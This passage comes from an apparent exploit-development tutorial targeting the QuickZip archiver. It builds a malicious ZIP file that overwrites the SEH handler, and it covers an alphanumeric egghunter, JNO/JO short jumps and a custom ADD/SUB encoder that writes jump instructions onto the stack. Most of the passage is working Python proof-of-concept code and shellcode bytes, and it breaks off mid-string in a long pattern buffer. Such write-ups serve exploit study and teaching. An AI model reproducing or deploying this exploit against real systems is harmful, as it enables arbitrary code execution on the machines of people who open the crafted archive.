    payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev"
    payload += ".txt"
    print "[+] Length = " + str(len(payload))
    exploit = header_1 + payload + header_2 + payload + header_3
    mefile = open('cst.zip','w');
    mefile.write(exploit);
    mefile.close()
    print "[+] Exploit complete!"
    
[/code]  
---|---  
Let’s trigger the crash, pass execution to the program and execute _POP-POP-
RET_ instructions. After this, scroll up in the CPU window and try to find end
of egghunter payload and long set of `INC ECX` instructions \(representing A
characters\).

<img src='img/Temp2_6610.png' width='576' height='415' alt='image' />

Great, looks like it’s there and it appears to be correct as well - no bad
characters were used\!

## Jumping back

Now, we have few more things to look after - the most important thing to
remember here is that we need to put address of where the egghunter begins
into the EAX and jump to it.

How can we do it having a limited space? Well, first of all - how much space
do we have? Quick maths tells us that it’s **146** bytes \(nseh offset minus
the size of egghunter\).

What can we do with 146 bytes? We only need to write few instructions, but
they need to adhere to the limited character set we’re allowed to use. In this
case, we cannot use a generic encoder that we already used for egghunter as we
simply don’t have enough space to fit it in.

This leaves us with one option - we’ll need to create our own encoder\! It
sounds scary and complicated, but it’s actually a lot simpler than it seems.

But first, let’s see where we are in the program currently.

<img src='img/Temp2_6607.png' width='576' height='415' alt='image' />

So we only have **4** bytes at our disposal to jump back to the payload and
start writing our custom encoder. Also, those 4 bytes would need to be,
preferably, alphanumeric. Thankfully, there are few instructions we can use,
specifically in situations like those\!

Credit given where credit’s due - thanks to TheColonial for sharing this very
useful trick: http://buffered.io/posts/jumping-with-bad-chars/.

In short, we can simply use `JO` and `JNO` instructions to invoke short jumps
back into our payload. But how far can we jump? After some playing around with
allowed characters I found that some of the bad characters are converted to
`A2`, which translates to 92 in decimal… which should give us just enough
space to allow us to create our custom encoder.

Let’s generate the required OPCODES with `metasm` and add them in our payload
in place of nSEH.

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    metasm > jno $-99
    "\x71\x9b"
    metasm > jo $-99
    "\x70\x9b"
[/code]  
---|---  
_Note:_ `\x9b` \(-99\), since it’s a bad character, will actually be converted
into `\xa2` \(-92\).

The portion of our PoC should now look like this:

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    payload = egghunter
    payload += "A" * (nseh_offset - len(payload))   # padding for nSEH
    payload += "\x71\x9b\x70\x9b"                   # nSEH: jno $-99; jo $-99 ==> 9b will actually be converted to A2, which is $-92
    payload += "\x33\x28\x42\x00"                   # SEH
    payload += pattern                              # pattern to look for in memory
    payload += ".txt"
    
[/code]  
---|---  
Let’s trigger the crash, pass execution to the program, step through the _POP-
POP-RET_ instructions and observe what happens when we step through the
`JNO`/`JO` instructions.

<img src='img/Temp2_6612.png' width='576' height='416' alt='image' />

Awesome, the jump is taken and we land in our payload\! Let’s now create our
custom encoder to write instructions to jump to the egg hunting routine.

## Custom encoder

We need to write several instructions to be able to jump to our egghunter,
however, there is no way to write them directly without using bad characters.

To get around it we’ll need to do the following:

  1. Find out what are the opcodes of instructions we want to write
  2. Using simple, mathematical instructions \(namely `ADD` and `SUB`\) we’ll place values of the opcodes from step above into a register of our choice \(e.g. `EAX`\) using only allowed characters
  3. We’ll write value of this register onto the stack, effectively writing the instructions we want to the area pointed to by `ESP`

Sounds complicated? It’s actually not that bad and it makes a lot more sense
once you start playing with it.

First of all, we need to adjust the stack to be able to write to the area of
memory we control. Looking at the values of `ESP` and where we currently are
\(screenshot above\), we need to offset the `ESP` by `0x62C` \(`0x0018FB58`
\(value of `EIP`\) minus `0x0018F528` \(value of `ESP`\) minus `0x4` \(empty
bytes for padding\)\).

This can be achieved using the following instructions:

[code]

    1
    2
    3
    4
    5
    
[/code]

|

[code]

    push esp;
    pop eax;
    add eax, 0x62C;
    push eax;
    pop esp;
[/code]  
---|---  
Corresponding OPCODES of above instructions are as follows:

[code]

    1
    2
    3
    4
    5
    
[/code]

|

[code]

    "\x54"                  # push esp;
    "\x58"                  # pop eax;
    "\x05\x2c\x06\x00\x00"  # add eax, 0x62C
    "\x50"                  # push eax;
    "\x5c"                  # pop esp;
[/code]  
---|---  
However, we have a problem - “\x05\x2c\x06\x00\x00” has two `NULL` bytes,
which would break our exploit.

However, we can easily fix it up by performing number of `ADD` and `SUB`
instructions using valid characters to set the value we want, e.g.

[code]

    1
    2
    3
    
[/code]

|

[code]

    \x05\x2d\x07\x01\x01    # add eax, 0x0101072D
    \x2d\x01\x01\x01\x01    # sub eax, 0x01010101
                            # total:   0x00000630
[/code]  
---|---  
Voilà\! We were able to achieve the same thing using valid characters. Let’s
update the exploit and see what happens.

<img src='img/Temp2_6603.png' width='576' height='412' alt='image' />

Great, our payload does exactly what we need leaving us with adjusted stack,
ready to start writing our encoder.

_Note:_ because of the `pop esp` instruction \(`\x5c`\), contents of our ZIP
file look a little bit different. The `\x5c` represents a backslash, which is
interpreted by QuickZip as a folder… this may have some implications later,
but that’s OK for now.

<img src='img/Temp2_6602.png' width='576' height='501' alt='image' />

Now, the last thing we need to do is to write a set of instructions that put a
start address of the egghunter into EAX and jump to it.

In order to avoid bad characters, we’ll set the values of opcodes we need in
the `EAX` register and push it on the stack that we have adjusted. This way,
the instructions we need will be written in the area we control.

It’s probably best explained using an example.

Let’s start off with what instructions do we actually want to write? The
following will do exactly what we need:

[code]

    1
    2
    3
    4
    
[/code]

|

[code]

    push esp;
    pop eax;
    sub eax, 0xDEADBEEF
    jmp eax;
[/code]  
---|---  
Pretty simple - push `ESP` on the stack, pop it into EAX, adjust it by a
certain value to land in the egghunter \(we don’t know the exact value, hence
the placeholder `0xDEADBEEF` for now\) and jump to the adjusted address from
`EAX`.

Let’s generate the bytes we need:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    metasm > push esp
    "\x54"
    metasm > pop eax
    "\x58"
    metasm > sub eax, 0xDEADBEEF
    "\x2d\xef\xbe\xad\xde"
    metasm > jmp eax
    "\xff\xe0"
[/code]  
---|---  
And write them in groups of 4:

[code]

    1
    2
    3
    
[/code]

|

[code]

    \x54\x58\x2d\xef
    \xbe\xad\xde\xff
    \xe0\x90\x90\x90
[/code]  
---|---  
Since we’ll be writing 4 bytes at a time, we needed to pad it out with 3 nops
\(`\x90`\) at the end \(to put the total length of bytes to write to 12\).

Now, let’s write the bytes starting from bottom-right \(because endianness\) -
this will indicate the values that we actually need to push onto the stack.

[code]

    1
    2
    3
    
[/code]

|

[code]

    \x90\x90\x90\xe0
    \xff\xde\xad\xbe
    \xef\x2d\x58\x54
[/code]  
---|---  
Remembering that we can only use ASCII values, that means that we should be
able to use pretty much any combination of bytes from `01` to `7f` for our
calculations.

Let’s come up with an exploit friendly instructions to write first set of
bytes into eax:

[code]

    1
    2
    3
    4
    5
    6
    7
    
[/code]

|

[code]

                            # zero out EAX
    "\x25\x10\x10\x10\x10"  # and eax,0x10101010
    "\x25\x01\x01\x01\x01"  # and eax,0x01010101
                               # write 0x909090e0 into EAX
    "\x05\x70\x70\x70\x70"  # add eax, 0x70707070
    "\x05\x70\x20\x20\x20"  # add eax, 0x20202070
    "\x50"                  # push eax;
    
[/code]  
---|---  
Let’s update the exploit code and run it.

Fantastic, we have successfully set the value we need in the EAX and pushed it
onto the stack, what has actually written the instructions we need\!

Let’s do the same for all remaining bytes.

After all that maths, the updated PoC should look as follows:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    
[/code]

|

[code]

    #!/usr/bin/python
    header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00")
    header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    print "[+] Building PoC.."
    max_size = 4064
    nseh_offset = 292
    jump_offset = 92
    # msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
    # [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
    egghunter = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
    "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42"
    "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b"
    "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36"
    "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a"
    "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74"
    "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44"
    "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b"
    "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51"
    "\x6b\x4f\x79\x77\x41\x41")
    payload = egghunter
    payload += "A" * (nseh_offset - len(payload) - jump_offset)   # padding for nSEH
    # Offset the stack by 0x62C to start writing to a controlled area of memory
    #
    payload += "\x54"                   # push esp;
    payload += "\x58"                   # pop eax;
    payload += "\x05\x2d\x07\x01\x01"   # add eax, 0x0101072D
    payload += "\x2d\x01\x01\x01\x01"   # sub eax, 0x01010101
    payload += "\x50"                   # push eax;
    payload += "\x5c"                   # pop esp;
    # Write instructions for: push esp; pop eax; sub eax, 0xDEADBEEF; jmp eax
    #
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0x909090e0 into EAX
    payload += "\x05\x70\x70\x70\x70"   # add eax, 0x70707070
    payload += "\x05\x70\x20\x20\x20"   # add eax, 0x20202070
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xffdeadbe into EAX
    payload += "\x05\x77\x77\x77\x77"   # add eax, 0x77777777
    payload += "\x05\x37\x25\x57\x77"   # add eax, 0x77572537
    payload += "\x05\x10\x11\x10\x11"   # add eax, 0x11101110
    payload += "\x50"                   # push eax;
                                        # Zero-out EAX
    payload += "\x25\x01\x01\x01\x01"   # and eax,0x01010101
    payload += "\x25\x10\x10\x10\x10"   # and eax,0x10101010
                                           # write 0xef2d5854 into EAX
    payload += "\x05\x43\x47\x1c\x77"   # add eax, 0x771c4743
    payload += "\x05\x10\x10\x01\x77"   # add eax, 0x77011010
    payload += "\x05\x01\x01\x10\x01"   # add eax, 0x01100101
    payload += "\x50"                   # push eax;
    payload += "A" * (nseh_offset - len(payload))   # padding for the rest of encoder
    payload += "\x71\x9b\x70\x9b"   # nSEH: jno $-99; jo $-99   => '9b' will actually be converted to 'a2', which is $-92
    payload += "\x33\x28\x42\x00"   # SEH
    payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em